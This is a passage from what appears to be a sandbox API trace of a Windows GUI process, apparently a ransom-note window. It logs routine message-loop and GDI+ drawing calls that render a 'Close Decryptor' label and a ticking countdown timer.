(lpMsg=0x19ee78) returned 0x0 [0161.939] BeginPaint (in: hWnd=0x10262, lpPaint=0x19e8c0 | out: lpPaint=0x19e8c0) returned 0x1e0106e1 [0161.939] EndPaint (hWnd=0x10262, lpPaint=0x19e8bc) returned 1 [0161.939] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.939] IsWindowUnicode (hWnd=0x30212) returned 1 [0161.939] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.939] TranslateMessage (lpMsg=0x19ee78) returned 0 [0161.939] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0161.939] BeginPaint (in: hWnd=0x30212, lpPaint=0x19e8c0 | out: lpPaint=0x19e8c0) returned 0x10105d6 [0161.939] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0161.939] CreateCompatibleDC (hdc=0x10105d6) returned 0x61010719 [0161.939] SelectObject (hdc=0x61010719, h=0x8050721) returned 0x85000f [0161.939] GdipCreateFromHDC (hdc=0x61010719, graphics=0x19e8d8) returned 0x0 [0161.940] GdipTranslateWorldTransform (graphics=0x69202b0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0161.940] GdipSetClipRectI (graphics=0x69202b0, x=0, y=0, width=178, height=111, combineMode=0x0) returned 0x0 [0161.940] GdipCreateMatrix (matrix=0x19e920) returned 0x0 [0161.940] GdipGetWorldTransform (graphics=0x69202b0, matrix=0x6920590) returned 0x0 [0161.940] GdipIsMatrixIdentity (matrix=0x6920590, result=0x19e938) returned 0x0 [0161.940] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0161.940] GdipGetMatrixElements (matrix=0x6920590, matrixOut=0xf75be8) returned 0x0 [0161.940] LocalFree (hMem=0xf75be8) returned 0x0 [0161.940] GdipDeleteMatrix (matrix=0x6920590) returned 0x0 [0161.940] GdipCreateRegion (region=0x19e920) returned 0x0 [0161.940] GdipGetClip (graphics=0x69202b0, region=0x691ee60) returned 0x0 [0161.940] GdipIsInfiniteRegion (region=0x691ee60, graphics=0x69202b0, result=0x19e92c) returned 0x0 [0161.940] GdipSaveGraphics (graphics=0x69202b0, state=0x19e958) returned 0x0 [0161.940] GdipRestoreGraphics (graphics=0x69202b0, state=0xfd420dbd) returned 0x0 [0161.940] GdipDeleteRegion (region=0x691ee60) returned 0x0 [0161.940] GdipGetDC (graphics=0x69202b0, hdc=0x19e708) returned 0x0 [0161.940] GetCurrentObject (hdc=0x61010719, type=0x1) returned 0xb00017 [0161.940] GetCurrentObject (hdc=0x61010719, type=0x2) returned 0x900010 [0161.940] GetCurrentObject (hdc=0x61010719, type=0x7) returned 0x8050721 [0161.940] GetCurrentObject (hdc=0x61010719, type=0x6) returned 0x8a01c2 [0161.940] SaveDC (hdc=0x61010719) returned 1 [0161.940] GetNearestColor (hdc=0x61010719, color=0x323533) returned 0x323533 [0161.940] GetNearestColor (hdc=0x61010719, color=0x111111) returned 0x111111 [0161.941] GetNearestColor (hdc=0x61010719, color=0x0) returned 0x0 [0161.941] GetNearestColor (hdc=0x61010719, color=0x868c88) returned 0x868c88 [0161.941] GetNearestColor (hdc=0x61010719, color=0x6994f5) returned 0x6994f5 [0161.941] GetNearestColor (hdc=0x61010719, color=0x969c98) returned 0x969c98 [0161.941] GetNearestColor (hdc=0x61010719, color=0x868c88) returned 0x868c88 [0161.941] GetNearestColor (hdc=0x61010719, color=0x3c3f3d) returned 0x3c3f3d [0161.941] GetNearestColor (hdc=0x61010719, color=0x6994f5) returned 0x6994f5 [0161.941] RestoreDC (hdc=0x61010719, nSavedDC=-1) returned 1 [0161.941] GdipReleaseDC (graphics=0x69202b0, hdc=0x61010719) returned 0x0 [0161.941] SelectObject (hdc=0x8e0106dd, h=0x110a0722) returned 0xc0a0739 [0161.941] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Close Decryptor", cchText=15, lprc=0x19e5c4, format=0x102415, lpdtp=0x3041374 | out: lpchText="Close Decryptor", lprc=0x19e5c4) returned 60 [0161.941] GdipCreateRegion (region=0x19e64c) returned 0x0 [0161.941] GdipGetClip (graphics=0x69202b0, region=0x691ee60) returned 0x0 [0161.941] GdipCreateMatrix (matrix=0x19e64c) returned 0x0 [0161.941] GdipGetWorldTransform (graphics=0x69202b0, matrix=0x6915f08) returned 0x0 [0161.942] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e664) returned 0x0 [0161.942] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0161.942] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0161.942] LocalFree (hMem=0xf75be8) returned 0x0 [0161.942] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0161.942] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0161.942] LocalFree (hMem=0xf75bb0) returned 0x0 [0161.942] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0161.942] GdipIsInfiniteRegion (region=0x691ee60, graphics=0x69202b0, result=0x19e68c) returned 0x0 [0161.942] GdipIsInfiniteRegion (region=0x691ee60, graphics=0x69202b0, result=0x19e67c) returned 0x0 [0161.942] GdipGetRegionHRgn (region=0x691ee60, graphics=0x69202b0, hRgn=0x19e67c) returned 0x0 [0161.942] GdipDeleteRegion (region=0x691ee60) returned 0x0 [0161.942] GdipGetDC (graphics=0x69202b0, hdc=0x19e694) returned 0x0 [0161.942] GetCurrentObject (hdc=0x61010719, type=0x1) returned 0xb00017 [0161.942] GetCurrentObject (hdc=0x61010719, type=0x2) returned 0x900010 [0161.942] GetCurrentObject (hdc=0x61010719, type=0x7) returned 0x8050721 [0161.942] GetCurrentObject (hdc=0x61010719, type=0x6) returned 0x8a01c2 [0161.942] SaveDC (hdc=0x61010719) returned 1 [0161.942] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xfc04070e [0161.942] GetClipRgn (hdc=0x61010719, hrgn=0xfc04070e) returned 0 [0161.942] SelectClipRgn (hdc=0x61010719, hrgn=0x780406f7) returned 2 [0161.942] DeleteObject (ho=0xfc04070e) returned 1 [0161.942] DeleteObject (ho=0x780406f7) returned 1 [0161.942] OffsetViewportOrgEx (in: hdc=0x61010719, x=0, y=0, lppt=0x3041564 | out: lppt=0x3041564) returned 1 [0161.943] GetNearestColor (hdc=0x61010719, color=0x3c3f3d) returned 0x3c3f3d [0161.943] CreateSolidBrush (color=0x3c3f3d) returned 0x1d10073a [0161.943] FillRect (hDC=0x61010719, lprc=0x19e698, hbr=0x1d10073a) returned 1 [0161.943] DeleteObject (ho=0x1d10073a) returned 1 [0161.943] RestoreDC (hdc=0x61010719, nSavedDC=-1) returned 1 [0161.943] GdipReleaseDC (graphics=0x69202b0, hdc=0x61010719) returned 0x0 [0161.943] GdipGetTextRenderingHint (graphics=0x69202b0, mode=0x19e710) returned 0x0 [0161.943] GdipGetDC (graphics=0x69202b0, hdc=0x19e6fc) returned 0x0 [0161.943] GetCurrentObject (hdc=0x61010719, type=0x1) returned 0xb00017 [0161.943] GetCurrentObject (hdc=0x61010719, type=0x2) returned 0x900010 [0161.943] GetCurrentObject (hdc=0x61010719, type=0x7) returned 0x8050721 [0161.943] GetCurrentObject (hdc=0x61010719, type=0x6) returned 0x8a01c2 [0161.943] SaveDC (hdc=0x61010719) returned 1 [0161.943] GetTextAlign (hdc=0x61010719) returned 0x0 [0161.943] GetTextColor (hdc=0x61010719) returned 0x0 [0161.943] SetTextColor (hdc=0x61010719, color=0x6994f5) returned 0x0 [0161.943] GetCurrentObject (hdc=0x61010719, type=0x6) returned 0x8a01c2 [0161.943] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e444 | out: pv=0x19e444) returned 92 [0161.943] SelectObject (hdc=0x61010719, h=0x110a0722) returned 0x8a01c2 [0161.943] GetBkMode (hdc=0x61010719) returned 2 [0161.943] SetBkMode (hdc=0x61010719, mode=1) returned 2 [0161.944] DrawTextExW (in: hdc=0x61010719, lpchText="Close Decryptor", cchText=15, lprc=0x19e52c, format=0x102415, lpdtp=0x3041820 | out: lpchText="Close Decryptor", lprc=0x19e52c) returned 60 [0161.944] DrawTextExW (in: hdc=0x61010719, lpchText="Close Decryptor", cchText=15, lprc=0x19e690, format=0x102015, lpdtp=0x3041820 | out: lpchText="Close Decryptor", lprc=0x19e690) returned 60 [0161.944] GdipReleaseDC (graphics=0x69202b0, hdc=0x61010719) returned 0x0 [0161.945] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e794) returned 0x0 [0161.945] GdipDrawRectangleI (graphics=0x69202b0, pen=0x6915e78, x=0, y=0, width=177, height=110) returned 0x0 [0161.945] GdipDeletePen (pen=0x6915e78) returned 0x0 [0161.945] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e778) returned 0x0 [0161.945] GdipDrawRectangleI (graphics=0x69202b0, pen=0x6915e78, x=1, y=1, width=175, height=108) returned 0x0 [0161.945] GdipDeletePen (pen=0x6915e78) returned 0x0 [0161.945] GdipGetDC (graphics=0x69202b0, hdc=0x19e918) returned 0x0 [0161.945] GdipReleaseDC (graphics=0x69202b0, hdc=0x61010719) returned 0x0 [0161.946] GdipDeleteGraphics (graphics=0x69202b0) returned 0x0 [0161.946] EndPaint (hWnd=0x30212, lpPaint=0x19e8bc) returned 1 [0161.946] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0161.946] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0161.946] WaitMessage () returned 1 [0162.580] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0162.580] IsWindowUnicode (hWnd=0x50074) returned 1 [0162.580] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0162.580] TranslateMessage (lpMsg=0x19ee78) returned 0 [0162.580] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0162.580] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0162.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0162.581] GetSystemMetrics (nIndex=42) returned 0 [0162.581] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea9c, nMaxCount=9 | out: lpString="06:58:03") returned 8 [0162.581] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea9c) returned 0x8 [0162.581] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0162.581] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0162.581] GetSystemMetrics (nIndex=42) returned 0 [0162.581] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea98, nMaxCount=9 | out: lpString="06:58:03") returned 8 [0162.581] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea98) returned 0x8 [0162.581] SetWindowTextW (hWnd=0x20236, lpString="06:58:04") [0162.581] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xc, wParam=0x0, lParam=0x304190c) [0162.581] GetStockObject (i=5) returned 0x900015 [0162.582] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0162.582] AdjustWindowRectEx (in: lpRect=0x19e94c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e94c) returned 1 [0162.582] SelectObject (hdc=0x8e0106dd, h=0x4f0a0711) returned 0x110a0722 [0162.582] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0162.582] IsWindowUnicode (hWnd=0x20236) returned 1 [0162.582] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0162.582] TranslateMessage (lpMsg=0x19ee78) returned 0 [0162.582] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0162.582] BeginPaint (in: hWnd=0x20236, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x60100ce [0162.582] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0162.583] GdipCreateFromHDC (hdc=0x63010719, graphics=0x19e8e4) returned 0x0 [0162.583] GdipTranslateWorldTransform (graphics=0x69202b0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0162.583] GdipSetClipRectI (graphics=0x69202b0, x=0, y=0, width=154, height=50, combineMode=0x0) returned 0x0 [0162.583] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0162.583] GdipGetWorldTransform (graphics=0x69202b0, matrix=0x691ee60) returned 0x0 [0162.583] GdipIsMatrixIdentity (matrix=0x691ee60, result=0x19e944) returned 0x0 [0162.583] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0162.583] GdipGetMatrixElements (matrix=0x691ee60, matrixOut=0xf75c20) returned 0x0 [0162.583] LocalFree (hMem=0xf75c20) returned 0x0 [0162.583] GdipDeleteMatrix (matrix=0x691ee60) returned 0x0 [0162.583] GdipCreateRegion (region=0x19e92c) returned 0x0 [0162.583] GdipGetClip (graphics=0x69202b0, region=0x691ee90) returned 0x0 [0162.583] GdipIsInfiniteRegion (region=0x691ee90, graphics=0x69202b0, result=0x19e938) returned 0x0 [0162.583] GdipSaveGraphics (graphics=0x69202b0, state=0x19e964) returned 0x0 [0162.583] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0162.583] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0162.583] GetSystemMetrics (nIndex=42) returned 0 [0162.583] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:04") returned 8 [0162.583] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0162.583] GetClientRect (in: hWnd=0x20236, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0162.583] GdipCreateRegion (region=0x19e780) returned 0x0 [0162.583] GdipGetClip (graphics=0x69202b0, region=0x6920590) returned 0x0 [0162.584] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0162.584] GdipGetWorldTransform (graphics=0x69202b0, matrix=0x6915f08) returned 0x0 [0162.584] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0162.584] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0162.584] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0162.584] LocalFree (hMem=0xf75c20) returned 0x0 [0162.584] GdipCombineRegionRegion (region=0x6920590, region2=0x691ee90, combineMode=0x1) returned 0x0 [0162.584] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0162.584] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0162.584] LocalFree (hMem=0xf75c20) returned 0x0 [0162.584] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0162.584] GdipIsInfiniteRegion (region=0x6920590, graphics=0x69202b0, result=0x19e7c0) returned 0x0 [0162.584] GdipIsInfiniteRegion (region=0x6920590, graphics=0x69202b0, result=0x19e7b0) returned 0x0 [0162.584] GdipGetRegionHRgn (region=0x6920590, graphics=0x69202b0, hRgn=0x19e7b0) returned 0x0 [0162.584] GdipDeleteRegion (region=0x6920590) returned 0x0 [0162.584] GdipGetDC (graphics=0x69202b0, hdc=0x19e7c8) returned 0x0 [0162.584] GetCurrentObject (hdc=0x63010719, type=0x1) returned 0xb00017 [0162.584] GetCurrentObject (hdc=0x63010719, type=0x2) returned 0x900010 [0162.584] GetCurrentObject (hdc=0x63010719, type=0x7) returned 0x8050721 [0162.584] GetCurrentObject (hdc=0x63010719, type=0x6) returned 0x8a01c2 [0162.584] GdipReleaseDC (graphics=0x69202b0, hdc=0x63010719) returned 0x0 [0162.584] GdipRestoreGraphics (graphics=0x69202b0, state=0xfd400dbd) returned 0x0 [0162.584] GdipDeleteRegion (region=0x691ee90) returned 0x0 [0162.584] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0162.585] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0162.585] GetSystemMetrics (nIndex=42) returned 0 [0162.585] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:04") returned 8 [0162.585] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0162.585] GdipGetDC (graphics=0x69202b0, hdc=0x19e7e8) returned 0x0 [0162.585] GetCurrentObject (hdc=0x63010719, type=0x1) returned 0xb00017 [0162.585] GetCurrentObject (hdc=0x63010719, type=0x2) returned 0x900010 [0162.585] GetCurrentObject (hdc=0x63010719, type=0x7) returned 0x8050721 [0162.585] GetCurrentObject (hdc=0x63010719, type=0x6) returned 0x8a01c2 [0162.585] SaveDC (hdc=0x63010719) returned 1 [0162.585] GetNearestColor (hdc=0x63010719, color=0x0) returned 0x0 [0162.585] RestoreDC (hdc=0x63010719, nSavedDC=-1) returned 1 [0162.586] GdipReleaseDC (graphics=0x69202b0, hdc=0x63010719) returned 0x0 [0162.586] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0162.586] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0162.586] GdipGetTextRenderingHint (graphics=0x69202b0, mode=0x19e788) returned 0x0 [0162.586] GdipGetDC (graphics=0x69202b0, hdc=0x19e774) returned 0x0 [0162.586] GetCurrentObject (hdc=0x63010719, type=0x1) returned 0xb00017 [0162.586] GetCurrentObject (hdc=0x63010719, type=0x2) returned 0x900010 [0162.586] GetCurrentObject (hdc=0x63010719, type=0x7) returned 0x8050721 [0162.586] GetCurrentObject (hdc=0x63010719, type=0x6) returned 0x8a01c2 [0162.586] SaveDC (hdc=0x63010719) returned 1 [0162.586] GetTextAlign (hdc=0x63010719) returned 0x0 [0162.586] GetTextColor (hdc=0x63010719) returned 0x0 [0162.586] GetCurrentObject (hdc=0x63010719, type=0x6) returned 0x8a01c2 [0162.586] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0162.586] SelectObject (hdc=0x63010719, h=0x4f0a0711) returned 0x8a01c2 [0162.586] GetBkMode (hdc=0x63010719) returned 2 [0162.586] SetBkMode (hdc=0x63010719, mode=1) returned 2 [0162.587] DrawTextExW (in: hdc=0x63010719, lpchText="06:58:04", cchText=8, lprc=0x19e708, format=0x100000, lpdtp=0x3042360 | out: lpchText="06:58:04", lprc=0x19e708) returned 50 [0162.587] RestoreDC (hdc=0x63010719, nSavedDC=-1) returned 1 [0162.587] GdipReleaseDC (graphics=0x69202b0, hdc=0x63010719) returned 0x0 [0162.587] GdipGetDC (graphics=0x69202b0, hdc=0x19e924) returned 0x0 [0162.587] BitBlt (hdc=0x60100ce, x=0, y=0, cx=154, cy=50, hdcSrc=0x63010719, x1=0, y1=0, rop=0xcc0020) returned 1 [0162.587] GdipReleaseDC (graphics=0x69202b0, hdc=0x63010719) returned 0x0 [0162.587] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0162.588] SelectObject (hdc=0x63010719, h=0x85000f) returned 0x8050721 [0162.588] DeleteDC (hdc=0x63010719) returned 1 [0162.588] GdipDeleteGraphics (graphics=0x69202b0) returned 0x0 [0162.588] EndPaint (hWnd=0x20236, lpPaint=0x19e8c8) returned 1 [0162.588] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0162.588] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0162.588] WaitMessage () returned 1 [0162.923] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0162.923] GetMessageA (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0162.923] TranslateMessage (lpMsg=0x19ee78) returned 0 [0162.923] DispatchMessageA (lpMsg=0x19ee78) returned 0x1 [0162.923] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0162.923] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0162.923] WaitMessage () returned 1 [0163.579] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0163.579] IsWindowUnicode (hWnd=0x50074) returned 1 [0163.579] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0163.579] TranslateMessage (lpMsg=0x19ee78) returned 0 [0163.580] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0163.580] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0163.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0163.580] GetSystemMetrics (nIndex=42) returned 0 [0163.580] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea9c, nMaxCount=9 | out: lpString="06:58:04") returned 8 [0163.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea9c) returned 0x8 [0163.580] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0163.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0163.580] GetSystemMetrics (nIndex=42) returned 0 [0163.580] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea98, nMaxCount=9 | out: lpString="06:58:04") returned 8 [0163.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea98) returned 0x8 [0163.580] SetWindowTextW (hWnd=0x20236, lpString="06:58:05") returned 1 [0163.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xc, wParam=0x0, lParam=0x3042428) returned 0x1 [0163.580] GetStockObject (i=5) returned 0x900015 [0163.580] GetDlgItem (hDlg=0x2022c, nIDDlgItem=131638) returned 0x20236 [0163.580] SendMessageW (hWnd=0x20236, Msg=0x202b, wParam=0x20236, lParam=0x19e5a4) returned 0x0 [0163.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0x202b, wParam=0x20236, lParam=0x19e5a4) returned 0x0 [0163.581] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0163.581] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0163.581] GetSystemMetrics (nIndex=42) returned 0 [0163.581] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e9bc, nMaxCount=9 | out: lpString="06:58:05") returned 8 [0163.581] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e9bc) returned 0x8 [0163.581] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0163.581] AdjustWindowRectEx (in: lpRect=0x19e94c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e94c) returned 1 [0163.581] DrawTextExW (in: hdc=0x8e0106dd, lpchText="06:58:05", cchText=8, lprc=0x19e938, format=0x102400, lpdtp=0x3042618 | out: lpchText="06:58:05", lprc=0x19e938) returned 50 [0163.581] InvalidateRect (hWnd=0x20236, lpRect=0x0, bErase=1) returned 1 [0163.582] GetWindowTextLengthW (hWnd=0x2022c) returned 0 [0163.582] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0163.582] GetSystemMetrics (nIndex=42) returned 0 [0163.582] GetWindowTextW (in: hWnd=0x2022c, lpString=0x19e9fc, nMaxCount=1 | out: lpString="") returned 0 [0163.582] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xd, wParam=0x1, lParam=0x19e9fc) returned 0x0 [0163.582] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0163.582] IsWindowUnicode (hWnd=0x20236) returned 1 [0163.582] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0163.582] TranslateMessage (lpMsg=0x19ee78) returned 0 [0163.582] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0163.582] BeginPaint (in: hWnd=0x20236, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x60100ce [0163.582] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0163.582] CreateCompatibleDC (hdc=0x60100ce) returned 0x4b010738 [0163.582] SelectObject (hdc=0x4b010738, h=0x8050721) returned 0x85000f [0163.582] GdipCreateFromHDC (hdc=0x4b010738, graphics=0x19e8e4) returned 0x0 [0163.583] GdipTranslateWorldTransform (graphics=0x69202b0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0163.583] GdipSetClipRectI (graphics=0x69202b0, x=0, y=0, width=154, height=50, combineMode=0x0) returned 0x0 [0163.583] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0163.583] GdipGetWorldTransform (graphics=0x69202b0, matrix=0x691ee60) returned 0x0 [0163.583] GdipIsMatrixIdentity (matrix=0x691ee60, result=0x19e944) returned 0x0 [0163.583] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0163.583] GdipGetMatrixElements (matrix=0x691ee60, matrixOut=0xf75be8) returned 0x0 [0163.583] LocalFree (hMem=0xf75be8) returned 0x0 [0163.583] GdipDeleteMatrix (matrix=0x691ee60) returned 0x0 [0163.583] GdipCreateRegion (region=0x19e92c) returned 0x0 [0163.583] GdipGetClip (graphics=0x69202b0, region=0x691ee90) returned 0x0 [0163.583] GdipIsInfiniteRegion (region=0x691ee90, graphics=0x69202b0, result=0x19e938) returned 0x0 [0163.583] GdipSaveGraphics (graphics=0x69202b0, state=0x19e964) returned 0x0 [0163.583] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0163.583] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0163.583] GetSystemMetrics (nIndex=42) returned 0 [0163.583] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:05") returned 8 [0163.583] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0163.583] GetClientRect (in: hWnd=0x20236, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0163.583] GdipCreateRegion (region=0x19e780) returned 0x0 [0163.583] GdipGetClip (graphics=0x69202b0, region=0x6920590) returned 0x0 [0163.583] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0163.583] GdipGetWorldTransform (graphics=0x69202b0, matrix=0x6915f08) returned 0x0 [0163.583] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0163.583] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0163.583] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0163.583] LocalFree (hMem=0xf75bb0) returned 0x0 [0163.583] GdipCombineRegionRegion (region=0x6920590, 